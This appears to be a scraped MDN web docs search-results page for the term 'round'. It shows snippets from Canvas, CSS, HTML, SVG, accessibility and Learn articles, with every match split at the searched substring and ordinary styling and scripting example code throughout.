notes: if "rgba(0,0,0,0)" is used for the backg
round color, the drawing will be transparent wherever the window is transparent.
... top-level browsed documents are usually not transparent because the user's backg
round-color preference is applied, but iframes are transparent if the page doesn't set a backg
round.
... if an opaque color is used for the backg
round color, rendering will be faster because we won't have to compute the window's transparency.
...And 3 more matches
CanvasRenderingContext2D.lineCap - Web APIs
syntax ctx.linecap = "butt" || "
round" || "square"; options "butt" the ends of lines are squared off at the endpoints.
... "
round" the ends of lines are
rounded.
... examples changing the shape of line caps this example
rounds the end caps of a straight line.
...And 3 more matches
CanvasRenderingContext2D.lineJoin - Web APIs
syntax ctx.linejoin = "bevel" || "
round" || "miter"; options there are three possible values for this property: "
round", "bevel", and "miter".
... "
round"
rounds off the corners of a shape by filling an additional sector of disc centered at the common endpoint of connected segments.
... the radius for these
rounded corners is equal to the line width.
...And 3 more matches
Basic animations - Web APIs
the number of callbacks is usually 60 times per second and may be reduced to a lower rate when running in backg
round tabs.
... function clock() { var now = new date(); var ctx = document.getelementbyid('canvas').getcontext('2d'); ctx.save(); ctx.clearrect(0, 0, 150, 150); ctx.translate(75, 75); ctx.scale(0.4, 0.4); ctx.rotate(-math.pi / 2); ctx.strokestyle = 'black'; ctx.fillstyle = 'white'; ctx.linewidth = 8; ctx.linecap = '
round'; // hour marks ctx.save(); for (var i = 0; i < 12; i++) { ctx.beginpath(); ctx.rotate(math.pi / 6); ctx.moveto(100, 0); ctx.lineto(120, 0); ctx.stroke(); } ctx.restore(); // minute marks ctx.save(); ctx.linewidth = 5; for (i = 0; i < 60; i++) { if (i % 5!= 0) { ctx.beginpath(); ctx.moveto(117, 0); ctx.lineto(120, 0); ctx.stroke(...
... for (var i = 0; i < 10; i++) { var r = 30; var x = math.random() * (innerwidth - 2 * r) + r; var y = math.random() * (innerheight - 2 * r) + r; var t = new ob(innerwidth / 2,innerheight / 2,5,"red",math.random() * 200 + 20,2); a.push(t); } //cn.style.backg
roundcolor = "#700bc8"; c.linewidth = "2"; c.globalalpha = 0.5; resize(); anim() } window.onresize = function() { resize(); } function resize() { cn.height = innerheight; cn.width = innerwidth; for (var i = 0; i < 101; i++) { ...
...And 3 more matches
Detecting device orientation - Web APIs
.beta deviceorientationevent.gamma the event handler function can look something like this: function handleorientation(event) { var absolute = event.absolute; var alpha = event.alpha; var beta = event.beta; var gamma = event.gamma; // do stuff with the new orientation data } orientation values explained the value reported for each axis indicates the amount of rotation a
round a given axis in reference to a standard coordinate frame.
... the deviceorientationevent.alpha value represents the motion of the device a
round the z axis, represented in degrees with values ranging from 0 to 360.
... the deviceorientationevent.beta value represents the motion of the device a
round the x axis, represented in degrees with values ranging from -180 to 180.
...And 3 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
example: setting the backg
round color of a paragraph getelementsbytagname(tagnamevalue) is a method available in any dom element or the root document element.
... html <body> <input type="button" value="set paragraph backg
round color" onclick="set_backg
round()"> <p>hi</p> <p>hello</p> </body> javascript function set_backg
round() { // get a list of all the body elements (there will only be one), // and then select the zeroth (or first) such element mybody = document.getelementsbytagname("body")[0]; // now, get all the p elements that are descendants of the body mybodyelements = mybody.getelementsbytagname("p"); // get the second item of the list of p elements myp = mybodyelements[1]; myp.style.backg
round = "rgb(255,0,0)"; } in this example, we set the myp variab...
...for example, if you want to set the style backg
round color property, you just add: myp.style.backg
round = "rgb(255,0,0)"; // setting inline style attribute creating textnodes with document.createtextnode("..") use the document object to invoke the createtextnode method and create your text node.
...And 3 more matches
TextEncoder.prototype.encodeInto() - Web APIs
if the output is expected to be long-lived, it makes sense to compute minimum allocation
rounduptobucketsize(s.length), the maximum allocation size s.length * 3, and to have a chosen (as a tradeoff between memory usage and speed) threshold t such that if
rounduptobucketsize(s.length) + t >= s.length * 3, you simply allocate for s.length * 3.
... otherwise, first allocate for
rounduptobucketsize(s.length) and convert.
... above
rounduptobucketsize() is a function that
rounds up to the allocator bucket size.
...And 3 more matches
Inputs and input sources - Web APIs
a full webxr experience isn't just about showing the user a wholly virtual scene or augmenting reality by adding to or altering the world a
round them.
...the screen mode indicates that the target ray is determined based on the user interacting with the webxr context by engaging with the screen in some way—most likely by the viewer tapping the screen or dragging the target ray a
round with their fingers.
... the grip space's native origin, located a
round the center of the player's fist, is (0, 0, 0) within the input source's local coordinate system, while the xrspace specified by gripspace can be used at any time to convert coordinates or vectors from the input source's space into world coordinates (or vice-versa).
...And 3 more matches
Web audio spatialization basics - Web APIs
as if its extensive variety of sound processing (and other) options wasn't enough, the web audio api also includes facilities to allow you to emulate the difference in sound as a listener moves a
round a sound source, for example panning as you move a
round a sound source inside a 3d game.
... note: the experience is much better if you use headphones, or have some kind of sur
round sound system to plug your computer into.
...positionx, positiony: positiony, positionz: positionz, orientationx: orientationx, orientationy: orientationy, orientationz: orientationz, refdistance: refdistance, maxdistance: maxdistance, rollofffactor: rolloff, coneinnerangle: innercone, coneouterangle: outercone, coneoutergain: outergain }) moving the boombox now we're going to move our boombox a
round our 'room'.
...And 3 more matches
XRBoundedReferenceSpace.boundsGeometry - Web APIs
each point is treated as a two-dimensional point, and must be located at g
round level (that is, its y coordinate must be 0).
... usage notes bounded reference spaces always have their origin located at g
round level, where y is 0.
... in order to reduce the risk of the room boundaries being used for fingerprinting purposes, each point in the boundsgeometry array may be
rounded or adjusted by some amount.
...And 3 more matches
Color contrast - Accessibility
the color contrast between backg
round and foreg
round content (that is, usually text) should be great enough to ensure legibility.
... examples let's have a look at some simple html and css code: <div class="good">good contrast</div> <div class="bad">bad contrast</div> div { /* general div styles here */ } .good { backg
round-color: #fae6fa; } .bad { backg
round-color: #400064; } both pieces of text have their default black color.
... the "good" <div> has a light purple backg
round, which makes the text easy to read: example1 <div class="good"> good contrast </div> div { font-family: sans-serif; text-align: center; font-size: 2rem; font-weight: bold; width: 250px; padding: 30px; border-radius: 20px; box-shadow: 1px 1px 1px black; } .good { backg
round-color: #fae6fa; } the "bad" <div> on the other hand has a very dark purple backg
round, which makes the text much harder to read: example2 <div class="bad"> bad contrast </div> div { font-family: sans-serif; text-align: center; font-size: 2rem; font-weight: bold; width: 250px; padding: 30px; border-radius: 20px; box-shadow: 1px 1px 1px black; } .bad { backg
round-color: #400064; } solution when c...
...And 3 more matches
Understandable - Accessibility
3.1.2 language of parts (aa) in cases where the content of a page includes words or phrases that are in a different language to the primary language, use the lang attribute on an element wrapped a
round the term in question (e.g.
...your site should provide a glossary that contains definitions of such words/terms that you can then link to when they appear, or at the very least provide definitions somewhere in the sur
rounding text, or in a description list at the bottom of the page.
...a better way to handle this is to again provide links to glossary pages containing the acronym expansion and explanation, or at the very least include them in the sur
rounding text in context.
...And 3 more matches
shape - CSS: Cascading Style Sheets
the shape css media feature can be used to test the shape of the device to distinguish recrangular and
round displays.
... syntax the shape descrete feature is specified as one of two acceptable strings, either rect reprsenting a rectangular screen or
round representing a circular, oval or elliptical screen.
... rect the shape is an axis aligned rectangle or square, or a similar shape such as
rounded rectangle for which the traditional designs are appropriate.
...And 3 more matches
Cubic Bezier Generator - CSS: Cascading Style Sheets
canvas.onmousedown = mousedown; canvas.onmouseup = mouseup; } else { alert('you need safari or firefox 1.5+ to see this demo.'); } } function cx(x) { return x * scaling + rulers; } function reversex(x) { return (x - rulers) / scaling; } function lx(x) { //used when drawing vertical lines to prevent subpixel blur var result = cx(x); return math.
round(result) == result ?
... result + 0.5 : result; } function cy(y) { return (1 - y) * scaling + margin; } function reversey(y) { return (margin - y) / scaling + 1; } function ly(y) { // used when drawing horizontal lines to prevent subpixel blur var result = cy(y); return math.
round(result) == result ?
...okestyle = "black"; // draw the y axis ctx.moveto(cx(0), cy(0)); ctx.lineto(cx(1), cy(0)); ctx.textalign = "right"; for (var i = 0.1; i <= 1; i = i + 0.1) { ctx.moveto(-basic_scale_size + cx(0), ly(i)); if ((i == 0.5) || (i > 0.9)) { ctx.moveto(-2 * basic_scale_size + cx(0), ly(i)); ctx.filltext(math.
round(i * 10) / 10, -3 * basic_scale_size + cx(0), cy(i) + 4); // limitation the constant 4 should be font size dependant } ctx.lineto(cx(0), ly(i)); } ctx.stroke(); ctx.closepath(); ctx.beginpath(); // draw the y axis label ctx.save(); ctx.rotate(-math.pi / 2); ctx.textalign = "left"; ctx.f...
...And 3 more matches
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
as mentioned earlier, you use the custom property value by specifying your custom property name inside the var() function, in place of a regular property value: element { backg
round-color: var(--main-bg-color); } first steps with custom properties let's start with this simple css that applies the same color to elements of different classes: .one { color: white; backg
round-color: brown; margin: 10px; width: 50px; height: 50px; display: inline-block; } .two { color: white; backg
round-color: black; margin: 10px; width: 150px; height: 70px; display:...
... inline-block; } .three { color: white; backg
round-color: brown; margin: 10px; width: 75px; } .four { color: white; backg
round-color: brown; margin: 10px; width: 100px; } .five { backg
round-color: brown; } we'll apply it to this html: <div> <div class="one">1:</div> <div class="two">2: text <span class="five">5 - more text</span></div> <input class="three"> <textarea class="four">4: lorem ipsum</textarea> </div> ...
...the backg
round color is set to brown in several places.
...And 3 more matches
Visual formatting model - CSS: Cascading Style Sheets
in addition, some of the terminologies a
round the display have been updated and clarified in the years since css2.
...in order to fix the box tree, an anonymous box is created a
round that run of text.
...multiple-column layout creates anonymous column boxes a
round the columns; these also cannot be styled or otherwise targetted.
...And 3 more matches
animation - CSS: Cascading Style Sheets
<button class="pause" title="pause"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s slidein;</div> <div class="animation a3"></div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box; } pre { margin-bottom: 0; } svg { width: 1.5em; height: 1.5em; } button { width: 27px; height: 27px; backg
round-size: 16px; backg
round-position: center; backg
round-repeat: no-repeat; border-radius: 3px; cursor: pointer; } button.play { backg
round-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%...
...%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#play'); } button.pause { backg
round-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2...
...c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#pause'); } button.restart { backg
round-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20...
...And 3 more matches
border-image - CSS: Cascading Style Sheets
the border-image css property draws an image a
round a given element.
...-slice border-image-source border-image-width syntax /* source | slice */ border-image: linear-gradient(red, blue) 27; /* source | slice | repeat */ border-image: url("/images/border.png") 27 space; /* source | slice | width */ border-image: linear-gradient(red, blue) 27 / 35px; /* source | slice | width | outset | repeat */ border-image: url("/images/border.png") 27 23 / 50px 30px / 1rem
round space; the border-image property may be specified with anywhere from one to five of the values listed below.
...the source for the border image is a ".png" file of 81 by 81 pixels, with three diamonds going vertically and horizontally: html <div id="bitmap">this element is sur
rounded by a bitmap-based border image!</div> css to match the size of a single diamond, we will use a value of 81 divided by 3, or 27, for slicing the image into corner and edge regions.
...And 3 more matches
justify-content - CSS: Cascading Style Sheets
the css justify-content property defines how the browser distributes space between and a
round content items along the main-axis of a flex container, and the inline axis of a grid container.
... syntax /* positional alignment */ justify-content: center; /* pack items a
round the center */ justify-content: start; /* pack items from the start */ justify-content: end; /* pack items from the end */ justify-content: flex-start; /* pack flex items from the start */ justify-content: flex-end; /* pack flex items from the end */ justify-content: left; /* pack items from the left */ justify-content: right; /* pack items from the right */ /* baseline a...
...lignment */ /* justify-content does not take baseline values */ /* normal alignment */ justify-content: normal; /* distributed alignment */ justify-content: space-between; /* distribute items evenly the first item is flush with the start, the last is flush with the end */ justify-content: space-a
round; /* distribute items evenly items have a half-size space on either end */ justify-content: space-evenly; /* distribute items evenly items have equal space a
round them */ justify-content: stretch; /* distribute items evenly stretch 'auto'-sized items to fit ...
...And 3 more matches
opacity - CSS: Cascading Style Sheets
thus, the element and its children all have the same opacity relative to the element's backg
round, even if they have different opacities relative to one another.
... if you do not want to apply opacity to child elements, use the backg
round property instead.
... for example: backg
round: rgba(0, 0, 0, 0.4); accessibility concerns if text opacity is adjusted, it is important to ensure that the contrast ratio between the color of the text and the backg
round the text is placed over is high enough that people experiencing low vision conditions will be able to read the content of the page.
...And 3 more matches
transform-origin - CSS: Cascading Style Sheets
the transformation origin is the point a
round which a transformation is applied.
... left | center | right | top | bottom ] | [ [ <length-percentage> | left | center | right ] && [ <length-percentage> | top | center | bottom ] ] <length>?where <length-percentage> = <length> | <percentage> examples code sample transform: none; <div class="box1"> </div> .box1 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; backg
round-color: palegreen; transform: none; -webkit-transform: none; } transform: rotate(30deg); <div class="box2"> </div> .box2 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; backg
round-color: palegreen; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: rotate(30deg); transf...
...orm-origin: 0 0; <div class="box3"> </div> .box3 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; backg
round-color: palegreen; transform-origin: 0 0; -webkit-transform-origin: 0 0; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: 100% 100%; <div class="box4"> </div> .box4 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px; backg
round-color: palegreen; transform-origin: 100% 100%; -webkit-transform-origin: 100% 100%; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: -1em -3em; <div class="box5"> </div> .box...
...And 3 more matches
Challenge solutions - Developer guides
solution one way to do this is to put comment delimiters a
round the rule for .carrot: /* .carrot { color: orange; } */ text styles big initial letters challenge without changing anything else, make all six initial letters twice the size in the browser's default serif font.
... solution the following values are reasonable approximations of the named colors: strong { color: #f00; /* red */ backg
round-color: #ddf; /* pale blue */ font: 200% serif; } .carrot { color: #fa0; /* orange */ } .spinach { color: #080; /* dark green */ } p { color: #00f; /* blue */ } content add an image challenge add a one rule to your stylesheet so that it displays the image at the start of each line.
...lution add a rule to the body element (parent of the headings) to reset a new counter, and one to display and increment the counter on the headings: /* numbered headings */ body {counter-reset: headnum;} h3:before { content: "(" counter(headnum, upper-latin) ") "; counter-increment: headnum; } boxes ocean border challenge add one rule to your stylesheet, making a wide border all a
round the oceans in a color that reminds you of the sea.
...And 3 more matches
Orientation and motion data explained - Developer guides
the x axis follows along the g
round plane, perpendicular to the y axis and positive toward the east (and therefore negative toward the west).
... the y axis follows along the g
round plane, and is positive toward true north (that is, the north pole, not magnetic north) and negative toward true south.
... the z axis is perpendicular to the g
round plane; think of it as a line drawn between the device and the center of the earth.
...And 3 more matches
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
the html bidirectional isolate element (<bdi>) tells the browser's bidirectional algorithm to treat the text it contains in isolation from its sur
rounding text.
...some other characters (such as spaces and some punctuation) are treated as neutral and are assigned directionality based on that of their sur
rounding characters.
... the <bdi> element is used to wrap a span of text and instructs the bidirectional algorithm to treat this text in isolation from its sur
roundings.
...And 3 more matches
<tbody>: The Table Body element - HTML: Hypertext Markup Language
bgcolor the backg
round color of the table.
... as this attribute is deprecated, use the css backg
round-color property instead.
...the cells are given a light gray outline which is a single pixel thick, padding is adjusted, and all cells are left-aligned using text-align thead > tr > th { backg
round-color: #cce; font-size: 18px; border-bottom: 2px solid #999; } finally, header cells contained within the <thead> block are given additional styling.
...And 3 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
you can also read our discussion on the basics of responsive design, if you need some more backg
round information and basics.
... css, which is quite weighty, so we'll go through it in parts: @media all and (max-width: 480px) { x-card:nth-child(1), x-card:nth-child(2), x-card:nth-child(3) { width: 100%; float: none; padding: 0; } button { margin-top: 0; border-radius: 0; } x-card:nth-child(1) video, x-card:nth-child(2) img { border-radius: 0px; border: none; padding: 0; backg
round-color: 0; } this first block resets a number of different things from the widescreen layouts that were't required for the mobile app.
... css backg
round images for css backg
round images this is a fairly easy problem to solve.
...And 3 more matches
in - SVG: Scalable Vector Graphics
fourteen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <fegaussianblur>, <femergenode>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile> usage notes value sourcegraphic | sourcealpha | backg
roundimage | backg
roundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes sourcegraphic this keyword represents the graphics elements that were the original input into the <filter> element.
... backg
roundimage this keyword represents an image snapshot of the svg document under the filter region at the time that the <filter> element was invoked.
... backg
roundalpha same as backg
roundimage except only the alpha channel is used.
...And 3 more matches
New Skin Notes - Archive of obsolete content
--nickolay 04:43, 25 aug 2005 (pdt) the skin won't be that different -- it will just have the editor tools moved a
round.
...--nickolay 09:19, 25 aug 2005 (pdt) (moving this to a new item) on the contrary, the list of categories current page belongs to, should be near the footer (see mdc:policies_and_guidelines page) (dria: fix catlinks style) the arrows that appear if you select "enhanced recent changes" in your preferences have an ugly border a
round them.
...there are some other changes i need to make, however, so i'll try to fix it up a bit while i'm digging a
round in there.
...And 2 more matches
Example Sticky Notes - Archive of obsolete content
view this example <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html401/strict.dtd"> <html> <head> <title>xbl demo : sticky notes</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body { backg
round-color: #ffffff; color: #000000; font: 1em verdana, sans-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding: url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme, inc.
...--> <stylesheet src="notes.css"/> </resources> <content> <!-- this svg graphics will be added automatically a
round each bound element.
...oke="#ffffff" stroke-width="1px"> <svg:circle cx="25px" cy="12px" r="12" fill="#ff0000" transform="translate(0,0)"/> <svg:circle cx="25px" cy="12px" r="12" fill="#00ff00" transform="translate(7,12)"/> <svg:circle cx="25px" cy="12px" r="12" fill="#0000ff" transform="translate(-7,12)"/> </svg:g> </svg:svg> <children/> </content> <implementation> <!-- here and futher cdata wrappers a
round javascript code are not mandatory but recommended.
...And 2 more matches
Things I've tried to do with XUL - Archive of obsolete content
this is a grab-bag type of faq, with a list of things that should work (hopefully with bug numbers), things that don't work (hopefully with explanations), and worka
rounds for both of the above.
... <vbox flex="1"> <box height="30%" flex="1" style="backg
round: green;"/> <box height="20%" flex="1" style="backg
round: red;"/> <box height="50%" flex="1" style="backg
round: blue;"/> </vbox> worka
round: no real good ones; the closest i've gotten is to use a div instead of a box container: <html:div style="-moz-box-flex: 1; width: 100%; height: 100%;"> <box style="height: 30%" flex="1" style="backg
round: green;"/> <box style="height: 20%" flex="1" style...
...="backg
round: green;"/> <box style="height: 50%" flex="1" style="backg
round: green;"/> </html:div> using flex="3" flex="2" flex="5" would give the right display visually for the empty boxes; however, flex only applies to how empty space is allocated.
...And 2 more matches
XUL accessibility guidelines - Archive of obsolete content
it is hoped that these guidelines will be sufficiently clear and detailed that everyone—even someone with no previous backg
round in accessibility—can understand them.
...accessibility channel for general discussion a
round internet accessibility with logger.
... tab order jumps a
round unexpectedly.
...And 2 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
gecko was designed from the g
round up to be compliant with the w3c html, w3c css, w3c xml, w3c dom, and ecmascript (javascript) standards.
...an implicit assumption by many web authors a
round this time was the there were only two types of browser available...
... you can also use detailed information regarding a browser's version to work a
round bugs in specific releases of a browser.
...And 2 more matches
Browser Feature Detection - Archive of obsolete content
e() true true true document.write() true true true document.writeln() true true true document.getelementbyid() true true true document.getelementsbyname() true true true dom css 1 support for properties/methods in document.body.style name firefox 1.5 ie 6 & 7 opera 8.54 - 9.01 backg
round true true true backg
roundattachment true true true backg
roundcolor true true true backg
roundimage true true true backg
roundrepeat true true true border true true true borderspacing true false true borderstyle true true true bordertop true true tr...
... true true true verticalalign true true true whitespace true true true width true true true wordspacing true true true dom css 2 support for properties/methods in document.body.style</caption> name firefox 1.5 ie 6 & 7 opera 8.54 - 9.01 azimuth true false false backg
roundposition true true true bordercollapse true true true borderspacing true false true bordertopcolor true true true borderrightcolor true true true borderbottomcolor true true true borderleftcolor true true true bordertopstyle true true true borderrightstyle...
... false}, {name: 'createentityreference', 'supported': false}, {name: 'getelementsbytagname', 'supported': false}, {name: 'importnode', 'supported': false}, {name: 'createelementns', 'supported': false}, {name: 'createattributens', 'supported': false}, {name: 'getelementsbytagnamens', 'supported': false}, {name: 'getelementbyid', 'supported': false} ], 'domcss1': [ {name: 'backg
round', 'supported': false}, {name: 'backg
roundattachment', 'supported': false}, {name: 'backg
roundcolor', 'supported': false}, {name: 'backg
roundimage', 'supported': false}, {name: 'backg
roundrepeat', 'supported': false}, {name: 'border', 'supported': false}, {name: 'borderspacing', 'supported': false}, {name: 'borderstyle', 'supported': false}, {name: 'bordertop', 'supported': false},...
...And 2 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
<style type="text/css"> <!-- body {backg
round-color: blue; color: yellow;} --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> this example illustrates that a conformant browser can ignore content inside of comments.
...- xmlguru) inline style and script containing double dashes another problem with using comments to sur
round javascript in xhtml is related to the problems which can occur if comments contain double dashes (——).
... } //]]> </script> examples using css rules in inline style within comments example 1 - xhtml 1.0 strict as text/html this example illustrates the behavior of xhtml served as text/html when css rules are contained inline and sur
rounded by comments.
...And 2 more matches
A cool-looking box - Learn web development
objective: to test comprehension of the css box model and other box-related features such as borders and backg
rounds.
... styling the box we'd like you to style the provided <p>, giving it the following: a reasonable width for a large button, say a
round 200 pixels.
... a slight increase in font size, to a
round 17-18 pixel computed style.
...And 2 more matches
Cascade and inheritance - Learn web development
the first two selectors are competing over the styling of the link's backg
round color — the second one wins and makes the backg
round color blue because it has an extra id selector in the chain: its specificity is 201 vs.
... let's walk through this to see what's happening — try removing some of the properties to see what happens if you are finding it hard to understand: you'll see that the third rule's color and padding values have been applied, but the backg
round-color hasn't.
...since ids have an even higher specificity than classes (you can only have one element with each unique id on a page, but many elements with the same class — id selectors are very specific in what they target), the red backg
round color and the 1 pixel black border should both be applied to the 2nd element, with the first element getting the gray backg
round color, and no border, as specified by the class.
...And 2 more matches
Organizing your CSS - Learn web development
some developers put all of the rules onto a single line, like so: .box { backg
round-color: #567895; } h2 { backg
round-color: black; color: white; } other developers prefer to break everything onto a new line: .box { backg
round-color: #567895; } h2 { backg
round-color: black; color: white; } css doesn't mind which one you use.
... you may have used a css property in a specific way to get a
round older browser incompatibilities, for example: .box { backg
round-color: red; /* fallback for older browsers that don't support gradients */ backg
round-image: linear-gradient(to right, #ff0000, #aa0000); } perhaps you followed a tutorial to achieve something, and the css is a little non-obvious.
... other tools that can help css itself doesn't have much in the way of in-built organisation, therefore you need to do the work to create consistency and rules a
round how you write css.
...And 2 more matches
Test your skills: Selectors - Learn web development
give h2 headings a blue backg
round and white text.
... selectors two without changing the html, make the following changes to the look of the content in this example: give the element with an id of special a yellow backg
round.
... if the element with a class of alert also has a class of stop, make the backg
round red.
...And 2 more matches
Flexbox - Learn web development
now, add the following to the bottom of the example's css: div { display: flex; align-items: center; justify-content: space-a
round; } refresh the page and you'll see that the buttons are now nicely centered, horizontally and vertically.
... the value we've used above, space-a
round, is useful — it distributes all the items evenly along the main axis, with a bit of space left at either end.
... there is another value, space-between, which is very similar to space-a
round except that it doesn't leave any space at either end.
...And 2 more matches
Client-side form validation - Learn web development
if it gets to the server and is then rejected, a noticeable delay is caused by a
round trip to the server and then back to the client-side to tell the user to fix their data.
...(required)</label> <input id="choose" name="i_like" required> <button>submit</button> </form> note the css that is included in the example file: input:invalid { border: 2px dashed red; } input:invalid:required { backg
round-image: linear-gradient(to right, pink, lightgreen); } input:valid { border: 2px solid black; } this css causes the input to have a red dashed border when it is invalid and a more subtle solid black border when valid.
... we also added a backg
round gradient when the input is required and invalid.
...And 2 more matches
Styling web forms - Learn web development
before we start coding, we need three additional assets: the postcard backg
round — download this image and save it in the same directory as your working html file.
...l-webfont.woff') format('woff'); font-weight: normal; font-style: normal; } @font-face { font-family: 'typewriter'; src: url('fonts/veteran_typewriter-webfont.woff2') format('woff2'), url('fonts/veteran_typewriter-webfont.woff') format('woff'); font-weight: normal; font-style: normal; } body { font : 1.3rem sans-serif; padding : 0.5em; margin : 0; backg
round : #222; } form { position : relative; width : 740px; height : 498px; margin : 0 auto; padding: 1em; box-sizing: border-box; backg
round : #fff url(backg
round.jpg); /* we create our grid */ display : grid; grid-gap : 20px; grid-template-columns : repeat(2, 1fr); grid-template-rows : 10em 1em 1em 1em; } notice that we've used some css grid and flexbox to lay out the f...
...simply put, we remove their borders and backg
rounds, and redefine their padding and margin: input, textarea { font : 1.4em/1.5em "handwriting", cursive, sans-serif; border : none; padding : 0 10px; margin : 0; width : 80%; backg
round : none; } when one of these fields gains focus, we highlight them with a light grey, transparent, backg
round (it is always important to have focus style, for usability and keyboard accessibility)...
...And 2 more matches
Getting started with HTML - Learn web development
</textarea> <div class="controls"> <input id="reset" type="button" value="reset" /> <input id="solution" type="button" value="show solution" /> </div> html { font-family: 'open sans light',helvetica,arial,sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; backg
round: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = cod...
... inline elements are contained within block-level elements, and sur
round only small parts of the document’s content.
... 95%"> <p>a link to my favorite website.</p> </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; backg
round: #f5f9fa; } var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var solution = document.getelementbyid('solution'); var output = document.queryselector('.output'); var code = textarea.value; var userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.value = code...
...And 2 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
in any case, these functions are used for running constant animations and other backg
round processing on a web site or application.
...we arrived at our final value of 17 via the formula 1000 milliseconds / 60hz, and then
rounded it up.
...
rounding up is a good idea; if you
rounded down, the browser might try to run the animation faster than 60 fps, and it wouldn't make any difference to the animation's smoothness, anyway.
...And 2 more matches
Build your own function - Learn web development
this one is going to involve slightly more work — we are going to set it so that depending on what the msgtype parameter is set to, the function will display a different icon and a different backg
round color.
...} rule: padding-left: 82px; backg
round-position: 25px center; backg
round-repeat: no-repeat; now we need to add code to our displaymessage() function to handle displaying the icons.
... add the following block just above the closing curly brace (}) of your function: if (msgtype === 'warning') { msg.style.backg
roundimage = 'url(icons/warning.png)'; panel.style.backg
roundcolor = 'red'; } else if (msgtype === 'chat') { msg.style.backg
roundimage = 'url(icons/chat.png)'; panel.style.backg
roundcolor = 'aqua'; } else { msg.style.paddingleft = '20px'; } here, if the msgtype parameter is set as 'warning', the warning icon is displayed and the panel's backg
round color is set to red.
...And 2 more matches
Looping code - Learn web development
